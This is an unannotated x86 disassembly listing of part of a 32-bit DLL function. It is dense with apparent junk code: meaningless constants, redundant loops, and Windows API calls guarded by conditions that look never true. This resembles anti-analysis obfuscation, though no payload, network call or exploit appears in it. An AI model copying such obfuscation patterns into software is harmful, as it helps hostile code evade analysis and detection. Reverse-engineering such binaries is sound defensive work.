mov ecx, dword [ebp + eax*4 - 0x358]
mov eax, dword [ebp - 0x34]
dec ecx
mov eax, dword [ebp + eax*4 - 0x358]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
add edx, 4
imul edx, dword [ebp + eax*4 - 0x358]
cmp edx, 4
sbb eax, eax
xor ecx, ecx
inc eax
or edx, 0xffffffff
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], eax
jmp 0x10038a67
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x358], 0
jne 0x10038a6d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10038a57
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
push 0
pop eax
jle 0x100389bb
jmp 0x10038a82
or edx, 0xffffffff
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10038c45
mov dword [ebp - 0x20], 0xf30cc2fd
lea ecx, [ebp - 0xad0]
mov dword [ebp - 0x38], 0xd5fac122
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x3c], 0xd2b5f791
mov dword [ebp - 0x48], 0x1342f3d4
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x3c], 0x7c8b166c
mov dword [ebp - 0x3c], 0x3691
mov dword [ebp - 0x24], 0xc23edb39
push esi
call fcn.1001ac19
mov byte [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], 0x213633e7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10038b0d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb4], 0xf46db505
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10038af5
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10038b33
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xad0]
call fcn.1001acb7
mov dword [eax], 0x2c40a98c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10038b15
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10038b49
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x814], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10038b38
mov eax, dword [ebp - 0xb4]
xor edx, edx
mov dword [ebp - 0x20], eax
imul ecx, dword [ebp - 0x20], 0xffff
mov eax, dword [ebp - 0xb4]
cmp ecx, eax
setle dl
xor ecx, ecx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0xb4]
cmp ecx, eax
mov eax, dword [ebp - 0xb4]
sbb edx, edx
inc edx
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0xb4], eax
je 0x10038b9f
mov esi, ebx
cmp dword [ebp - 0x28], eax
jne 0x10038ba1
mov esi, eax
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x38]
inc eax
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x48]
jl 0x10038bc3
xor eax, eax
cmp dword [ebp - 0xb4], eax
je 0x10038bc5
mov edx, ebx
jmp 0x10038bc7
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
push ebx
setle cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0xad0]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.1001acb7
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x814]
setg cl
inc dword [ebp - 0x814]
cmp eax, ecx
jl 0x10038c12
push ebx
lea ecx, [ebp - 0xad0]
call fcn.1001acb7
cmp dword [eax], 0
je 0x10038c12
xor eax, eax
xor edx, edx
cmp esi, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xad0]
mov byte [ebp - 4], 5
call fcn.1001ac9b
push 0xd27
xor eax, eax
push eax
push eax
call edi
push 3
pop esi
push 2
pop eax
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xc4c]
push eax
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], eax
jmp 0x10038c82
push dword [ebp - 0x28]
lea ecx, [ebp - 0xc4c]
call fcn.1001acb7
mov dword [eax], 0x8dee21af
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x10038c6b
mov edx, dword [ebp - 0x24]
xor ecx, ecx
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jbe 0x10038caa
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x10038cac
mov ecx, ebx
mov eax, dword [ebp - 0x24]
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0xc4c]
setne bl
xor eax, eax
push eax
call fcn.1001acb7
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xc1ec
setl al
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10038d02
mov dword [ebp - 0x18], 0x14
jmp 0x10038cf9
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10038cf6
cmp dword [ebp - 0x18], 0xffffffee
jge 0x10038ce4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x17
je 0x10038cdb
lea ecx, [ebp - 0xc4c]
mov byte [ebp - 4], 5
call fcn.1001ac9b
push 4
lea ecx, [ebp - 0x270]
call fcn.1001ac19
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x18], 0x66fe7d8a
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10038d59
push dword [ebp - 0x28]
lea ecx, [ebp - 0x270]
call fcn.1001acb7
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10038d3a
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1003900e
xor ebx, ebx
inc ebx
or edi, 0xffffffff
mov dword [ebp - 0x24], 0x4b25b3b9
lea ecx, [ebp - 0xc64]
push ebx
call fcn.1001ac19
xor eax, eax
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x10038da7
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 5
call fcn.1001ac9b
xor ebx, ebx
lea ecx, [ebp - 0xe4]
xor eax, eax
inc ebx
mov byte [ebp - 0x11], al
push ebx
call fcn.1001ac19
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x1c], 0xc4d8e5cc
mov dword [ebp - 0x38], 0xf1fe3d2f
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003906b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jle 0x1003860d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jg 0x1003936c
push 0xfffffffffffffffc
pop ecx
jmp 0x10038540
or eax, 0xffffffff
lea ecx, [ebp - 0x1170]
mov dword [ebp - 4], eax
call fcn.1001ac9b
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], 0x11e9a9d0
mov dword [ebp - 0x3c], 0x32c2a4e6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100393bb
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfd0], 0x97a4a12b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100393a2
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100393fe
mov dword [ebp - 0x20], 0xb64b5c6f
mov dword [ebp - 0x18], eax
jmp 0x100393f1
mov dword [ebp - 0x10], 0xefa9d19a
mov dword [ebp - 0x38], 0x4d0289a6
mov dword [ebp - 0x10], eax
jmp 0x100393e9
mov dword [ebp - 0x38], 0xbf38c088
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x100393df
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x100393cc
dec dword [ebp - 0x20]
jmp 0x100394bf
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], eax
jl 0x100394bf
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x30], 0x66ef
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xfd0], 0
jne 0x1003942f
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10039431
mov eax, ebx
cmp eax, dword [ebp - 0x18]
jne 0x1003944d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfd0]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfd0]
mov eax, dword [ebp - 0x24]
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], eax
jmp 0x100394ae
mov dword [ebp - 0x20], 0xab3ae5d5
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x100394a6
mov dword [ebp - 0x30], eax
jmp 0x1003949e
mov dword [ebp - 0x24], eax
jmp 0x10039496
mov dword [ebp - 0x20], 7
dec dword [ebp - 0x20]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10039489
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x10039484
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jle 0x1003947f
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff4
je 0x1003946b
dec dword [ebp - 0x34]
jns 0x10039411
xor eax, eax
mov dword [ebp - 0x24], 6
mov ecx, 0xf90350d8
mov dword [ebp - 0xb24], ecx
mov dword [ebp - 0xb20], ecx
mov dword [ebp - 0xb1c], ecx
mov dword [ebp - 0xb18], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], 0xee05243b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003951f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1778], 0xd228d5fe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10039506
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10039578
cmp dword [ebp - 0x24], ebx
jle 0x1003952c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb20], eax
mov dword [ebp - 0x176c], eax
cmp eax, dword [ebp - 0x24]
jl 0x10039554
xor eax, eax
cmp dword [ebp - 0xb1c], eax
je 0x10039556
mov eax, ebx
jmp 0x10039556
xor eax, eax
push 0xfffffffffffffffc
pop ecx
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x6411d7fe
setne cl
lea eax, [ecx + 0x5d732ada]
test eax, eax
je 0x10039576
mov eax, ebx
jmp 0x10039578
xor eax, eax
mov ebx, dword [sym.imp.GDI32.dll_PtInRegion]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0x1a094951
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
jmp 0x100395c3
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x100395c0
push 0xd6c
push 0x265d
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffa
jge 0x100395a8
mov dword [ebp - 0x18], eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x3c], 0x11e9a9d0
mov dword [ebp - 0x3c], 0x32c2a4e6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10039605
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfec], 0x97a4a12b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100395ec
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10039648
mov dword [ebp - 0x20], 0xb64b5c6f
mov dword [ebp - 0x18], eax
jmp 0x1003963b
mov dword [ebp - 0x10], 0xefa9d19a
mov dword [ebp - 0x38], 0x4d0289a6
mov dword [ebp - 0x10], eax
jmp 0x10039633
mov dword [ebp - 0x38], 0xbf38c088
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x10039629
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10039616
dec dword [ebp - 0x20]
jmp 0x10039712
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x34], eax
jl 0x10039712
xor edi, edi
inc edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], 0x66ef
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0xfec], 0
jne 0x1003967c
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003967e
mov eax, edi
cmp eax, dword [ebp - 0x18]
jne 0x1003969a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfec]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xfec]
mov eax, dword [ebp - 0x24]
xor edx, edx
inc eax
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
xor eax, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x10], eax
jmp 0x100396fb
mov dword [ebp - 0x20], 0xab3ae5d5
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x100396f3
mov dword [ebp - 0x30], eax
jmp 0x100396eb
mov dword [ebp - 0x24], eax
jmp 0x100396e3
mov dword [ebp - 0x20], 7
dec dword [ebp - 0x20]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x100396d6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x100396d1
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jle 0x100396cc
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff4
je 0x100396b8
dec dword [ebp - 0x34]
jns 0x1003965e
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov dword [ebp - 0x30], 0x9ad59e57
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10039739
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xc7c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10039721
xor eax, eax
mov esi, dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003975d
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
xor eax, eax
mov dword [ebp - 0x30], 2
cmp dword [ebp - 0x30], eax
jl 0x10039959
xor edi, edi
inc edi
mov dword [ebp - 0x24], 0xf0a290be
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0xc7c], 0
jne 0x10039951
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003993e
push 2
lea ecx, [ebp - 0x8cc]
call fcn.1001ac19
xor eax, eax
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x100397c6
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x80c], edi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 4
jl 0x100397b1
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x100397f0
push 0xfffffffffffffff7
pop edi
push dword [ebp - 0x40]
lea ecx, [ebp - 0x8cc]
call fcn.1001acb7
mov dword [eax], edi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x100397d2
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x800], eax
jmp 0x1003991d
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10039820
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x110], 0x95aad853
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10039807
xor eax, eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 2
jg 0x10039917
mov dword [ebp - 0x10], 0x6a6c
lea ecx, [ebp - 0x8cc]
mov eax, dword [ebp - 0x30]
push edi
mov eax, dword [ebp + eax*4 - 0xc7c]
call fcn.1001acb7
mov ecx, dword [ebp - 0x800]
mov dword [eax], ecx
xor eax, eax
cmp dword [ebp - 0x10c], eax
jg 0x10039867
cmp dword [ebp - 0x24], eax
jne 0x1003986e
mov edx, eax
cmp dword [ebp - 0x10], eax
je 0x10039870
mov edx, edi
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10c]
setl cl
xor edx, edx
cmp ecx, 0x68729207
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
neg edx
mov ecx, dword [ebp + eax*4 - 0xc7c]
mov eax, dword [ebp - 0x800]
sub edx, eax
xor eax, eax
add ecx, edx
je 0x100398d1
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10039902
push eax
push 0x2ec
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x10039902
mov dword [ebp - 0x20], 0x90a
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x100398f1
cmp dword [ebp - 0x10c], eax
jne 0x100398f1
dec dword [ebp - 0x10]
jns 0x100398e4
push eax
lea ecx, [ebp - 0x8cc]
call fcn.1001acb7
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], 2
jle 0x10039833
xor eax, eax
inc dword [ebp - 0x800]
cmp dword [ebp - 0x800], 2
jle 0x100397fb
or eax, 0xffffffff
lea ecx, [ebp - 0x8cc]
mov dword [ebp - 4], eax
call fcn.1001ac9b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10039792
dec dword [ebp - 0x30]
jns 0x10039770
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
mov dword [ebp - 0x24], 6
mov ecx, 0xf90350d8
mov dword [ebp - 0xb34], ecx
mov dword [ebp - 0xb30], ecx
mov dword [ebp - 0xb2c], ecx
mov dword [ebp - 0xb28], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], 0xee05243b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100399b9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1790], 0xd228d5fe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100399a0
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10039a15
xor edx, edx
inc edx
cmp dword [ebp - 0x24], edx
jle 0x100399c9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb30], eax
mov dword [ebp - 0x1784], eax
cmp eax, dword [ebp - 0x24]
jl 0x100399f1
xor eax, eax
cmp dword [ebp - 0xb2c], eax
je 0x100399f3
mov eax, edx
jmp 0x100399f3
xor eax, eax
push 0xfffffffffffffffc
pop ecx
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x6411d7fe
setne cl
lea eax, [ecx + 0x5d732ada]
test eax, eax
je 0x10039a13
mov eax, edx
jmp 0x10039a15
xor eax, eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0x1a094951
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
jmp 0x10039a5a
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10039a57
push 0xd6c
push 0x265d
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffa
jge 0x10039a3f
mov dword [ebp - 0x24], 6
mov ecx, 0xf90350d8
mov dword [ebp - 0xb4c], ecx
mov dword [ebp - 0xb48], ecx
mov dword [ebp - 0xb44], ecx
mov dword [ebp - 0xb40], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], 0xee05243b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10039ac0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x17a8], 0xd228d5fe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10039aa7
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10039b1c
xor edx, edx
inc edx
cmp dword [ebp - 0x24], edx
jle 0x10039ad0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb48], eax
mov dword [ebp - 0x179c], eax
cmp eax, dword [ebp - 0x24]
jl 0x10039af8
xor eax, eax
cmp dword [ebp - 0xb44], eax
je 0x10039afa
mov eax, edx
jmp 0x10039afa
xor eax, eax
push 0xfffffffffffffffc
pop ecx
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x6411d7fe
setne cl
lea eax, [ecx + 0x5d732ada]
test eax, eax
je 0x10039b1a
mov eax, edx
jmp 0x10039b1c
xor eax, eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0x1a094951
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
jmp 0x10039b61
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10039b5e
push 0xd6c
push 0x265d
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffa
jge 0x10039b46
mov dword [ebp - 0x30], 0x9ad59e57
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10039b91
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xed4], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10039b79
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10039baf
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], eax
jl 0x10039d9d
or edi, 0xffffffff
mov dword [ebp - 0x24], 0xf0a290be
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0xed4], 0
jne 0x10039d95
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10039d83
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push 3
mov dword [ebp - 0x34], 0xfb6318d5
pop esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], eax
push 9
pop edx
cmp dword [ebp - 0x1c], esi
jge 0x10039dc9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x650], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10039db5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10039deb